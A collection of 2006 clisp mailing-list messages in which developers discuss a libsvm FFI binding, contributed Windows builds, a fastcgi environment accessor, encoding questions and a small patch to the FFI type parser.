IIRC, there are some examples in bindings/linuxlibc about (C-POINTER =
foo) and opacity.

Regards,
	J=F6rg


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Sam Steingold wrote:
> I am trying to write an FFI module interface to libsvm
> http://www.csie.ntu.edu.tw/~cjlin/libsvm/

the code is now in the CVS.
it includes libsvm sources and README.
I would appreciate testing and comments.
thanks.
Sam.


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clisp libsvm module is now in the CVS.
comments (or, better yet - PATCHES!) are welcome
thanks
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Yaroslav Kavenchuk wrote:
> I should rebuild and resend packages for win32?


yes, please upload the new packages to
anonymous@upload.sourceforge.net:/incoming
and post the description here in the following format:

(see
https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355)

contributed binary distributions:

clisp-2.39-win32-mingw-no-readline.zip
   built by Jack Unrue <jdunrue@gmail.com>
   using mingw without i18n and readline
   with rawsock, dirkey and bindings/win32

clisp-2.39-win32-with-readline-and-gettext.zip
   built by Yaroslav Kavenchuk <kavenchuk@gmail.com>
   using mingw (with all 4 standard base modules)
   with rawsock, dirkey, wildcard and bindings/win32

clisp-2.39-powerpc-apple-darwin8.7.0-8.7.0.tar.gz
   built by Pascal Costanza <pc@p-cos.net>
   with the 4 standard base modules and nothing else

clisp-2.39-sparc-unknown-openbsd3.9-3.9.tar.gz
   built by Bruce O'Neel <edoneel@sdf.lonestar.org>
   with the 3 standard base modules and nothing else


thanks!



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Wait some times, please.

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On 10/5/06, Sam Steingold <sds@gnu.org> wrote:
> Yaroslav Kavenchuk wrote:
> > I should rebuild and resend packages for win32?
>
>
> yes, please upload the new packages to
> anonymous@upload.sourceforge.net:/incoming
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> contributed binary distributions:
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> clisp-2.39-win32-mingw-no-readline.zip
>    built by Jack Unrue <jdunrue@gmail.com>
>    using mingw without i18n and readline
>    with rawsock, dirkey and bindings/win32

OK, I'll take MinGW again.

-- 
Jack Unrue


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Reini Urban wrote:
> all tests pass except one:
> 
> Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME 
> :ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR 
> CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD 
> INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME 
> FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW 
> (MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) 
> (SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS 
> '(X Y))) (LIST (STRINGP (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) 
> (DESCRIBE CONSTRUCTOR))) (FUNCALL CONSTRUCTOR)))
> CORRECT: (T #(POSITION NIL NIL))
> CLISP  : ERROR
> SYSTEM::%RECORD-REF: #<SYSTEM-FUNCTION POSITION> is not a record
> 
> ./makemake --with-dynamic-ffi --prefix=/usr --fsstnd=redhat 
> --with-readline --with-gettext --with-module=rawsock 
> --with-module=dirkey --with-module=bindings/win32 
> --with-module=berkeley-db --with-module=pcre --with-module=postgresql 
> --with-module=fastcgi --with-module=zlib
> 
> same as on MacOSX
> 

patch in
https://sourceforge.net/tracker/index.php?func=detail&aid=1569234&group_id=1355&atid=101355
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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
>> with the patch to be committed tonight, FFI::FOREIGN-LIBRARY 
>> will stop being necessary.
>> it might be useful to pre-open a library
> 
> Clisp users here have IMHO made good cases in the past as to whether it's a good thing to be able to open libraries early.
> 
> I'd like to add that I always have bad feelings when I see foreign function invoking code raise errors.  It can be synonym with memory leakage.
> Therefore I've never been a good friend of all that lazy-opening stuff.
> E.g. consider
> (def-call-out :args (foo :allocation :malloc))
> Upon invocation IIRC, CLISP will first perform all conversions (use malloc()), then barf on a broken library pointer.  All memory is lost.
> Consider that as part of a larger use-case for possible enhancements investigating automated tracking of malloc()'ed memory and interaction with protocols for transfer of duty of calling free().

the code that will be checked in tonight opens the library before doing any 
allocations.
the only situation when you would want to use open-foreign-library is when you 
do not know of any symbol in the library and just want to check if dlopen will 
work.  otherwise (def-call-out foo (:library "bar")) is just as good.

at any rate, IIUC, you do want the new public function open-foreign-library.
the next question is: currently, ffi::foreign-library accepts the "version" 
second optional argument (it appears to be a hold-over from amiga). does the 
new ffi:open-foreign-library need to accept this second argument?
presumably no.




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Sam Steingold wrote:
>clisp libsvm module is now in the CVS.
>comments (or, better yet - PATCHES!) are welcome

o Ad destroy-problem:
allocate-deep should be matched with foreign-free :FULL T explicitly

o Your use of (setf (validp problem)/(validp parameter) nil) is
excellent.
Users will get an error, not a crash from trying to use a problem after
destroy-problem.

Why don't you do the same for the model?
That you receive the model pointer as result from a call to svm_train()
instead of doing it yourself via allocate-deep is no reason.
I created the SET-FOREIGN-POINTER API explicitly so that a resource
pointer returned via FFI can be dissociated from the unique FFI session
pointer.
Afterwards, you'll be able to call (setf (validp model) nil) equally.

Just wrap the call to the constructor.
(defun train ()
  (set-foreign-pointer (ffi_train) :copy))

Once you have that, you can use FINALIZE on the model. You could even
use FINALIZE's guarded form to make some dependency explicit:
(FINALIZE MODEL PROBLEM)
With the guarded form, you may be able to add a finalizer for PROBLEM
itself, but I've never used the guarded form...

With all three finalizers in place, it would look very Lispy & cool.


o svm_cross_validation :args (c-ptr problem)
Everytime you use (c-ptr problem), there's full conversion taking place.
Are you sure that's what you intended?
Did you mean (c-pointer problem) instead?
Same for (c-ptr parameter)


o defun cross_validation
(with-foreign-object (target #) ... (foreign-value target))
(with-c-var (target #) ... target) would be clearer I think.
I prefer to use with-c-var whenever possible.
Same for get-labels, predict-probability

o test.tst:
(SLOT (FOREIGN-VALUE #)) is abstraction violation
Please use
(WITH-C-PLACE (p-parameter f-parameter)
  (setf (slot p-parameter 'gamma) 0d0)
instead.

Note that all your defun WITH-FOREIGN-OBJECT wrappers fit the pattern
that I suggested long ago (and never implemented)
(def-call-out predict_probabilty
  :arguments (model model)
    (prob_estimates (c-ptr (c-array int (SIZE (get-nr-class model))))
:out))
The wrappers could be generated via a macro that would understand such
extended type declarations.

All in all, the code looks very clean.  It makes me wonder, "what was
the problem?"

Regards,
	Jorg Hohle.


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There seems to be no interface in the fastcgi module to provide the
entire environment.  There should be.
Here's my minimal addition to provide it.
- fastcgi.h: add
extern char ** fcgi_env(); 
- fastcgi_wrappers.c: add
char ** fcgi_env(char * var) { 
  return environ;} 
- fastcgi.lisp: add
(def-call-out fcgi_env  (:arguments)  (:return-type (FFI:C-POINTER c-string)))

You can then iterate over env with some ugly code like
(loop for i from 0 as next = 
      (ffi:offset (ffi:foreign-value (fastcgi::fcgi_env)) 
                  (* i (ffi:sizeof 'ffi:c-string))
		  'ffi:c-string)
      while next collect next)

Improvements over this interface are welcome, of course.


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Jack Unrue wrote:
> On 10/5/06, Sam Steingold <sds@gnu.org> wrote:
>> Yaroslav Kavenchuk wrote:
>>> I should rebuild and resend packages for win32?
>>
>> yes, please upload the new packages to
>> anonymous@upload.sourceforge.net:/incoming
>> and post the description here in the following format:
>>
>> (see
>> https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355)
>>
>> contributed binary distributions:
>>
>> clisp-2.39-win32-mingw-no-readline.zip
>>    built by Jack Unrue <jdunrue@gmail.com>
>>    using mingw without i18n and readline
>>    with rawsock, dirkey and bindings/win32
> 
> OK, I'll take MinGW again.

Thanks. please send an e-mail when you finish uploading.



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included it in his 2.39 build last time.

-- 
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Hoehle, Joerg-Cyril wrote:
> 
> o svm_cross_validation :args (c-ptr problem)
> Everytime you use (c-ptr problem), there's full conversion taking place.
> Are you sure that's what you intended?
> Did you mean (c-pointer problem) instead?

yes, probably -- but does
(c-pointer problem)
provide type-checking?

 > Same for (c-ptr parameter)

parameter is small enough for this not to matter too much

 > (SLOT (FOREIGN-VALUE #)) is abstraction violation
 > Please use
 > (WITH-C-PLACE (p-parameter f-parameter)
 >   (setf (slot p-parameter 'gamma) 0d0)
 > instead.

I also have

(defun cross-validation (problem param nr_fold)
   (with-foreign-object (target `(c-array double-float
                                          ,(slot (foreign-value problem) 'l)))
     (svm_cross_validation (foreign-value problem) param nr_fold target)
     (foreign-value target)))

this is eminently wrong because (foreign-value problem) converts potentially 
HUGE datum from lisp to C.
what is the right replacement?

I think each problem variable should be opaque (c-pointer problem) and there 
should be functions
problem-l
problem-y
problem-x
problem-y-i -- non-consing, returns float
problem-x-i
problem-x-i-j -- non-consing, returns float

how do I implement them?

thanks for your feedback (and your kind words)



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Hoehle, Joerg-Cyril wrote:
> 
> Once you have that, you can use FINALIZE on the model. You could even
> use FINALIZE's guarded form to make some dependency explicit:
> (FINALIZE MODEL PROBLEM)
> With the guarded form, you may be able to add a finalizer for PROBLEM
> itself, but I've never used the guarded form...

guarding works in the other direction, I think.
I want PROBLEM not to be GCed until MODEL is.



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Marko Kocić wrote:
> Is there going to be one?

thanks to Yaroslav Kavenchuk & Jack Unrue, you now have TWO!



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Hoehle, Joerg-Cyril wrote:
> 
> o defun cross_validation
> (with-foreign-object (target #) ... (foreign-value target))
> (with-c-var (target #) ... target) would be clearer I think.
> I prefer to use with-c-var whenever possible.
> Same for get-labels, predict-probability

nope.

(defun get-labels (model)
   (with-c-var (label `(c-array int ,(get-nr-class model)))
     (svm_get_labels model label)
     label))

(LIBSVM:get-labels MODEL)
[SIMPLE-ERROR]: FFI::FOREIGN-CALL-OUT: #(0 0) cannot be converted to the 
foreign type FFI:C-POINTER



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horror horror horror!!!!

[24]> (def-c-type node (c-struct list (index int) (value double-float)))
NODE
[25]> (def-c-type problem (c-struct list
   (l int)                               ; number of records
   (y (c-array-ptr double-float))        ; of length l (targets)
   (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)
PROBLEM
[26]> (setq p (allocate-deep 'problem (list 5 #(1d0 0d0 1d0 1d0 1d0) #(#((-1 
0.0d0)) #((0 -0.6666666666666667d0) (-1 0.0d0))
   #((0 -0.33333333333333337d0) (-1 0.0d0)) #((-1 0.0d0))
   #((0 0.33333333333333326d0) (-1 0.0d0))
   #((0 0.6666666666666667d0) (-1 0.0d0)) #((0 1.0d0) (-1 0.0d0))
   #((0 -1.0d0) (1 -0.6666666666666667d0) (-1 0.0d0)))))
)
#<FOREIGN-VARIABLE FOREIGN-ALLOCATE #x09519FD0>
[27]> (ffi:foreign-value p)
(5 #(1.0d0)
  #(#((-1 0.0d0)) #((0 -0.6666666666666667d0) (-1 0.0d0))
    #((0 -0.33333333333333337d0) (-1 0.0d0)) #((-1 0.0d0))
    #((0 0.33333333333333326d0) (-1 0.0d0))
    #((0 0.6666666666666667d0) (-1 0.0d0)) #((0 1.0d0) (-1 0.0d0))
    #((0 -1.0d0) (1 -0.6666666666666667d0) (-1 0.0d0))))
[28]>

you see: 0d0 is interpreted as the end of the y vector!!!!!!
so y in (ffi:foreign-value p) is #(1.0d0) and not #(1d0 0d0 1d0 1d0 1d0)





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> * Yves Codet <lpbqrg@pyho-vagrearg.se> [2006-10-04 07:56:00 +0200]:
>
> "patch" couldn't find the file to patch (maybe I used it the wrong  
> way); if I apply it to "src/documentation.lisp" "configure" ends with  
> an error (which wasn't the case without the patch):
>
> make[1]: *** [check] Illegal instruction
> make: *** [check-subdirs] Error 2

not enough information - platform? error messages?

> Configure findings:
>    FFI:        no (user requested: default)
>    readline:   yes (user requested: default)
>    libsigsegv: yes
>
> Maybe I don't understand the meaning of the line:
>
>    FFI:        no (user requested: default)
>
> Isn't "--with-dynamic-ffi" the default?

default is "--with-dynamic-ffi if it works".
i.e., if FFI does not work on your platform, build without it.
an explicit --with-dynamic-ffi means that configure will fail if FFI is
not available.

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Sam Steingold wrote:
>horror horror horror!!!!
>   (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)
>you see: 0d0 is interpreted as the end of the y vector!!!!!!

Not such a surprise. C-ARRAY-PTR is good enough for the Lisp array -> C =
conversion. That's the context where I've advocated using it several =
times.  For C->Lisp, one must examine the termination test. Obviously, =
0d0 is represented via 0 bytes in memory, and conversion stops there.

In other words,
(defun lisp-view-on-problem (problem)
  (foreign-value problem))
is an unsuitable converter.  That's the general rule.
You need explicit array dimensions.
  (with-c-place (p problem)
    (let ((l (get-size problem))) ; or (slot p 'l)
      (cast p `(c-struct list (int l) (c-ptr (c-array int ,l)) ;please =
verify type
                              (c-ptr (c-array double-float ,l)))))

You may wish to optimize a little, as the above will call PARSE-C-TYPE =
at run-time.
Only (cast foo `(c-array int ,l)) is optimized.
You could return (list l (cast ...) (cast ...)) instead.

>(defun get-labels (model)
>   (with-c-var (label `(c-array int ,(get-nr-class model)))
>     (svm_get_labels model label)
You need                    (c-var-address label)
>     label))

>does (c-pointer problem) provide type-checking?
You didn't try it out, did you?
You should not be able to supply another #<foreign-variable =
type:other-struct>. But IIRC opaque #<foreign-pointer> are accepted.

BTW, why do I get all your e-mails without mention of clisp-list, =
whereas your recent URL showed me that they (or at least some of =
them)are also in clisp-list archive ?

Regards,
	J=F6rg.


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Don Cohen wrote:
>There seems to be no interface in the fastcgi module to provide the
>entire environment.  There should be.
Your suggestion is welcome.

>Here's my minimal addition to provide it.
>(def-call-out fcgi_env  (:arguments)  (:return-type=20
>(FFI:C-POINTER c-string)))
How ugly. Doesn't the return-type perfectly match
	:return-type (c-array-ptr c-string)
I.e. a NULL terminated array of strings?

Of course, you must be careful about *ffi-encoding*.

BTW, I was surprised that the fastcgi module does not provide streams
for reading/writing the request.  Do you think that would be useful?
OTOH, with either strings or streams, there remains the problem with
content encoding, binary output etc. Bivalent streams seem nice.

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril writes:
 > Don Cohen wrote:
 > >Here's my minimal addition to provide it.
 > >(def-call-out fcgi_env  (:arguments)  (:return-type 
 > >(FFI:C-POINTER c-string)))
 > How ugly. Doesn't the return-type perfectly match
 > 	:return-type (c-array-ptr c-string)
 > I.e. a NULL terminated array of strings?
I didn't realize that was different from c-pointer.
I also didn't realize that either one meant null terminated.
Perhaps your real point is that I could have used something
like aref or element to access the items?  That would be an
improvement.

 > Of course, you must be careful about *ffi-encoding*.
I don't even know what that is.
What am I supposed to do about it?
Translate the c-string into a lisp string?

 > BTW, I was surprised that the fastcgi module does not provide streams
 > for reading/writing the request.  Do you think that would be useful?
It would seem more natural in terms of writing lisp code.

 > OTOH, with either strings or streams, there remains the problem with
 > content encoding, binary output etc. Bivalent streams seem nice.
You mean it doesn't solve every problem?  What does?

The fact that the IO is done in terms of some stuff I can't see I
think is unfortunate.  I prefer to leave the ffi stuff at the lowest
possible level, first cause I'd rather write the translation to the
higher level in lisp, second cause it lets me see how it works.
At the moment I don't have a fastcgi interface to php and I might
write my own if I could see from the lisp code how it's supposed to
work.

Anyhow, it's no surprise to me that my ffi code can be improved.
I'd be more surprised if it could not.

BTW, if anyone cares, I've now built 2.40 successfully on this:
 uname -a 
 Linux amd64.cs3-inc.com 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:06 EDT
 2006 x86_64 x86_64 x86_64 GNU/Linux 
with fastcgi, of course.



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> Don Cohen wrote:
> > 	:return-type (c-array-ptr c-string)
>I could have used something like aref or element to access the items?
Indeed, using this return type yields a Lisp vector of Lisp strings. Use
AREF, use (POSITION #\=3D #)) etc.

> > Of course, you must be careful about *ffi-encoding*.
>I don't even know what that is.
You should not be unaware of encoding issues in the context of the web.

>What am I supposed to do about it?
>Translate the c-string into a lisp string?
That's what the FFI already did for you at the time of call. The
conversion is governed by *ffi-encoding* (or other custom:*foo-encoding*
variables, depending on the function, e.g. OPEN etc.).

Suppose you use an encoding like charset:ASCII with an error-action (cf.
EXT:MAKE-ENCODING). Although AFAIK HTTP MIME headers are required to be
ASCII, you have to prepare for the situation where it's not. Same for
the fastcgi char **environ which contains AFAIK the URL path etc. An
attempt to convert non-ASCII using such an encoding signals an error.
How does your application react?


> > OTOH, with either strings or streams, there remains the problem with
> > content encoding, binary output etc. Bivalent streams seem nice.
>You mean it doesn't solve every problem?  What does?
I had thought about implementing a stream for fastcgi output via
EXT:MAKE-BUFFERED-OUTPUT-STREAM.  It fits the bill for strings.

However, when you want to output MIME-type application/octet-stream,
what are you going to do?
(hey, that's one real question, not rhetoric;)

So far, your only solution with the existing module is to use a 1:1
encoding (i.e. charset:iso-8859-1, cf. appropriate section in Edi's
cookbook on sourceforge) and handle the binary bytes as if they were
characters.  That does not sound like TRT.

CLISP provides (SETF STREAM-ELEMENT-TYPE).  Works with FILE- and
SOCKET-STREAMS.  Does not work with the MAKE-BUFFERED-OUTPUT-STREAM,
which only supports CHARACTER element-type.

I once thought about making that stream switchable as well, but there
are a couple of hairy issues (about buffering & flushing, as usual) and
not enough time.

>At the moment I don't have a fastcgi interface to php
I can't believe there isn't a ready-made module there!
However, php people may refer to it as "accelerator", which I believe is
very close if not the same thing: php remains in memory, as well as
byte-compiled library code.

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril writes:
 > > Don Cohen wrote:
 > > > 	:return-type (c-array-ptr c-string)
 > >I could have used something like aref or element to access the items?
 > Indeed, using this return type yields a Lisp vector of Lisp strings. Use
 > AREF, use (POSITION #\= #)) etc.
Is this the case that copies the array into a lisp array on every
reference?  I don't much like that.
 > > > Of course, you must be careful about *ffi-encoding*.
 > >I don't even know what that is.
 > You should not be unaware of encoding issues in the context of the web.
I've been aware of clisp's character encoding mainly when it
gives me errors about invalid characters.  My solution has been
to deal in bytes instead of characters.  What I normally want is
256 characters with code 0-255.  How do I get that?  
(There should be no errors in that case, right?)

 > > > OTOH, with either strings or streams, there remains the problem with
 > > > content encoding, binary output etc. Bivalent streams seem nice.
 > >You mean it doesn't solve every problem?  What does?
 > I had thought about implementing a stream for fastcgi output via
 > EXT:MAKE-BUFFERED-OUTPUT-STREAM.  It fits the bill for strings.

If you could implement fastcgi entirely within clisp (no ffi) I would 
like that a lot better.  I assume it's not difficult after you figure
out what it's required to do.  I imagine you'd then have a normal
IO stream that you could manipulate as you like.

 > However, when you want to output MIME-type application/octet-stream,
 > what are you going to do?
 > (hey, that's one real question, not rhetoric;)
Use bytes.  That's what I do now.
I do that also for input.
But in these cases I'm just accepting content to store and return.
I'm not trying to interpret it.

 > So far, your only solution with the existing module is to use a 1:1
 > encoding (i.e. charset:iso-8859-1, cf. appropriate section in Edi's
 > cookbook on sourceforge) and handle the binary bytes as if they were
 > characters.  That does not sound like TRT.
(what's TRT?)

 > CLISP provides (SETF STREAM-ELEMENT-TYPE).  Works with FILE- and
 > SOCKET-STREAMS.  Does not work with the MAKE-BUFFERED-OUTPUT-STREAM,
 > which only supports CHARACTER element-type.
I don't really know, but I supposed the fastcgi stream was a socket
stream. 

 > >At the moment I don't have a fastcgi interface to php
 > I can't believe there isn't a ready-made module there!
 > However, php people may refer to it as "accelerator", which I believe is
 > very close if not the same thing: php remains in memory, as well as
 > byte-compiled library code.
I see no documentation on the php site although they claim it works
and various people claim to use it.  I've not been able to figure out
how to do the accept operation.  If you can show me that (and finish)
I'll be in business.
I think the standard approach is that php runs inside apache.
I don't claim to understand this stuff yet.




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please comment on the recent find-foreign-variable &
find-foreign-function patch
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[139]> (ext:convert-string-to-bytes
          (map 'string 'code-char
              (loop for i from 0 below 44100
                    collect (round (* 65536/2=20
                                     (1+ (sin (* 441 (/ i  2 pi 44100))))=
))))=20
          charset:utf-8)

*** - Internal error: statement in file "encoding.d", line 2805 has been
      reached!!
      Please send the authors of the program a description how you produc=
ed
      this error!
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [140]> :a


[143]> (print-bug-report-info)


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[144]>=20

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-10-08 06:46:02 +0200]:
>
> [139]> (ext:convert-string-to-bytes
>           (map 'string 'code-char
>               (loop for i from 0 below 44100
>                     collect (round (* 65536/2 
>                                      (1+ (sin (* 441 (/ i  2 pi 44100)))))))) 
>           charset:utf-8)
>
> *** - Internal error: statement in file "encoding.d", line 2805 has been
>       reached!!
>       Please send the authors of the program a description how you produced
>       this error!
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [140]> :a
>
>
> [143]> (print-bug-report-info)
>
>
> LISP-IMPLEMENTATION-TYPE     "CLISP"
> LISP-IMPLEMENTATION-VERSION  "2.39 (2006-07-16) (built 3364813332) (memory 3364813922)"
> SOFTWARE-TYPE                
> "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   -lsigsegv -L/usr/X11R6/lib
> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.4
> libreadline 4.3"
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> MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
> MACHINE-TYPE                 "I686"
> MACHINE-VERSION              "I686"
> *FEATURES*                   
> (:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :WILDCARD :RAWSOCK
>  :PCRE :CLX-ANSI-COMMON-LISP :CLX :ZLIB :READLINE :REGEXP :SYSCALLS :I18N :LOOP
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>  :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE
>  :BASE-CHAR=CHARACTER :PC386 :UNIX)

thanks - may I ask you to file a SF bug report (as per
http://clisp.sourceforge.net/impnotes/clisp.html#bugs)?

it is easier to track issues this way.


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Sam Steingold wrote:

libsvm.lisp:
(defun problem-l (problem)
  ;;FIXME: horribly inefficient
  (slot (foreign-value problem) 'l)))
Why do you believe this to be horribly inefficient?
Quite to the contrary, that's the fastest you can come up with, except =
from a C level accessor function.

Note that I already mentioned I consider (SLOT FOREIGN-VALUE abstraction =
violation. Maybe that's confusing you and you believe the explicit =
FOREIGN-VALUE will perform a full conversion? It won't. Source code =
transformations are going on to turn that inside out into (foreign-value =
(FFI::%SLOT problem 'l)).

I forgot who observed and reported some time ago that C level accessors =
are much faster than slot access.  I didn't verify nor investigate it, =
and it's still puzzling me as in both cases, the same conversion =
functions are used.
 - foreign function call has the overhead of libavcall and parsing the =
ff  description.
 - slot access has the overhead of parsing the ff struct description, =
first creating a #<foreign-variable> of the given type, then convert.  =
So each slot access produces garbage.


>here is what I came up with:
>(def-c-type node (c-struct list (index int) (value double-float)))
>(def-c-type problem (c-struct list
>   (l int)                               ; number of records
>   (y (c-array-ptr double-float))        ; of length l (targets)
>   (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)

Good.  However I wonder about the double indirection. Do you really have =
arrays of arrays to struct node?


>(defun problem-slots (problem)
>   (with-c-place (p problem)
>     (cast p '(c-struct list (l int) (y c-pointer) (x c-pointer)))))
IMHO this does not add value to the modeling.  It even introduces =
problems that you run into a few lines below.

>;; FIXME: make these accessors non-consing
>(defun problem-l (problem) (first (problem-slots problem)))
The previous version (above) was better IMHO.

>(defun problem-y (problem) (second (problem-slots problem)))
>(defun problem-x (problem) (third (problem-slots problem)))
>(defun problem-list (problem)
>   (destructuring-bind (l y x) (problem-slots problem)
>     (list l (with-c-place (py y) (cast py `(c-array double-float ,l)))
>           (with-c-place (px x) (cast px `(c-array=20
>(c-array-ptr node) ,l))))))
>alas, problem-list does not work:
>*** - FFI::%CAST: #<FOREIGN-ADDRESS #x085B2478> is not of type
>        FOREIGN-VARIABLE
Since you extract a C-POINTER in problem-slots, you can't CAST anymore.  =
You'd need the FOREIGN-VARIABLE constructor.
But that's not ideal anyway IMHO.

I'd merely suggest
(defun problem-y (problem)
  (with-c-place (p problem)
    (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l =
problem))))))

If you want parse-c-type optimization, you'll need more explicit =
dereferencing steps to eventually use
 (cast ... `(c-array double-float ,(problem-l problem)))
since only that specific pattern is optimized away.



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	J=F6rg.


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Don Cohen wrote:

> > > > 	:return-type (c-array-ptr c-string)
> > Use AREF, use (POSITION #\=3D #)) etc.
>Is this the case that copies the array into a lisp array on every
>reference?  I don't much like that.

Since the fastcgi already provides a function to access a single
variable and you explicitly asked for the whole environment, I think a
"do it all at once" conversion is what's needed.  If you don't do it at
once, how are you going to scan it? You'd need ffi code to extract
elements, but then you already have the fastcgi_getenv().  Thus IMHO,
convert-all makes a lot of sense given that getenv() already exists.
Another possibility would be get-all-names() (then use getenv on wanted
names), but neither fastcgi nor char **environ support that easily (poor
C).

Of course, once you convert, cache it once for the session, then operate
on Lisp data.  Don't convert again.


> What I normally want is
>256 characters with code 0-255.  How do I get that? =20
>(There should be no errors in that case, right?)
I already pointed at iso-8859-1, the 1:1 section in the cookbook, and
there's a similar section in the impnotes IIRC about binary i/o IIRC.


>If you could implement fastcgi entirely within clisp (no ffi) I would=20
>like that a lot better.
Interesting.
Cliki mentions a Lisp-level version written for cmucl.  Presumably only
the socket stuff is non-portable, so it might be trivial to convert.

Any volunteer?
Maybe it would become as successful as LTk is (Tcl/Tk over portable
Lisp+socket code, no FFI), or pg.lisp (Postgresql over socket, no FFI)?

>  I assume it's not difficult after you figure
>out what it's required to do.  I imagine you'd then have a normal
>IO stream that you could manipulate as you like.

I don't know if said cmucl library provides STREAM objects (beside slow
gray streams), since that's non-portable either.

>(what's TRT?)
Sorry. The Right Thing. Thank you for asking.

>I don't really know, but I supposed the fastcgi stream was a socket
>stream.=20
No, it cannot be, since the fastcgi protocol multiplexes stdout and
stderr in packets.  The Lisp application writer would not see the socket
stream used for the connection.


>I see no documentation on the php site.
>If you can show me that (and finish) I'll be in business.
Php business or Lisp business? :-)

>I think the standard approach is that php runs inside apache.
AFAIK it still initializes anew for each request and reparse all
includes and the .php file.  Only additional accelerators avoid that.
That said, I've seen several sites run without accelerators (I haven't
used one myself for the one php application that I wrote (BTW, if you're
interested in a template engine for php, I can recommend the one I used
and how I designed around no exception handling in php to produce both
readable & reliable code)).

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold wrote:
> 
> libsvm.lisp:
> (defun problem-l (problem)
>   ;;FIXME: horribly inefficient
>   (slot (foreign-value problem) 'l)))
> Why do you believe this to be horribly inefficient?
> Quite to the contrary, that's the fastest you can come up with, except from a C level accessor function.

if PROBLEM size is 10,000,000, then this method will require allocating (ARRAY 
DOUBLE-FLOAT 10000000) as well as (SIMPLE-VECTOR 10000000) for nodes &c.

> Note that I already mentioned I consider (SLOT FOREIGN-VALUE abstraction violation. 
 > Maybe that's confusing you and you believe the explicit
> FOREIGN-VALUE will perform a full conversion? It won't. 
> Source code transformations are going on to turn that 
> inside out into (foreign-value (FFI::%SLOT problem 'l)).

indeed...
cool!

> I forgot who observed and reported some time ago that 
> C level accessors are much faster than slot access.  
> I didn't verify nor investigate it, and it's still puzzling me as in both cases, 
 > the same conversion functions are used.
>  - foreign function call has the overhead of libavcall and parsing the ff  description.
>  - slot access has the overhead of parsing the ff struct description, 
 > first creating a #<foreign-variable> of the given type, then convert.
 > So each slot access produces garbage.

this sucks.

>> here is what I came up with:
>> (def-c-type node (c-struct list (index int) (value double-float)))
>> (def-c-type problem (c-struct list
>>   (l int)                               ; number of records
>>   (y (c-array-ptr double-float))        ; of length l (targets)
>>   (x (c-array-ptr (c-array-ptr node))))); of length l (predictors)
> 
> Good.  However I wonder about the double indirection. Do you really have arrays of arrays to struct node?

yes, please see README, svm.h, svm.cpp

> I'd merely suggest
> (defun problem-y (problem)
>   (with-c-place (p problem)
>     (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l problem))))))

this works, thanks.

> If you want parse-c-type optimization, you'll need more explicit dereferencing steps to eventually use
>  (cast ... `(c-array double-float ,(problem-l problem)))
> since only that specific pattern is optimized away.

how about making the compiler-macro parse-c-type handle c-ptr?
--- foreign1.lisp	06 Oct 2006 06:00:51 -0400	1.102
+++ foreign1.lisp	09 Oct 2006 09:47:32 -0400	
@@ -299,6 +299,14 @@
        ((typep typespec
                '(CONS (EQL SYS::BACKQUOTE)
                  (CONS
+                 (CONS (MEMBER C-POINTER C-PTR-NULL C-PTR)
+                  (CONS T NULL)))))
+       (return-from parse-c-type
+         (let ((typespec (second typespec)))
+           `(VECTOR ',(first typespec) (PARSE-C-TYPE ',(second typespec))))))
+      ((typep typespec
+              '(CONS (EQL SYS::BACKQUOTE)
+                (CONS
                   (CONS (MEMBER C-ARRAY C-ARRAY-MAX)
                    (CONS ATOM ; do not match (SYSTEM::UNQUOTE #) here
                          (CONS (CONS (EQL SYS::UNQUOTE)


thanks!

Sam.


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Sam Steingold suggested:
>how about making the compiler-macro parse-c-type handle c-ptr?
Where are you going to stop?

>--- foreign1.lisp	06 Oct 2006 06:00:51 -0400	1.102
>+++ foreign1.lisp	09 Oct 2006 09:47:32 -0400=09
>@@ -299,6 +299,14 @@
>        ((typep typespec
>                '(CONS (EQL SYS::BACKQUOTE)
>                  (CONS
>+                 (CONS (MEMBER C-POINTER C-PTR-NULL C-PTR)
>+                  (CONS T NULL)))))
This is broken code for exactly the reason I hinted at in the comment
below.

>+       (return-from parse-c-type
>+         (let ((typespec (second typespec)))
>+           `(VECTOR ',(first typespec) (PARSE-C-TYPE ',(second
typespec))))))
>+      ((typep typespec
>+              '(CONS (EQL SYS::BACKQUOTE)
>+                (CONS
>                   (CONS (MEMBER C-ARRAY C-ARRAY-MAX)
>                    (CONS ATOM ; do not match (SYSTEM::UNQUOTE #) here
>                          (CONS (CONS (EQL SYS::UNQUOTE)

I believe I did not include in the testsuite a case which shows that
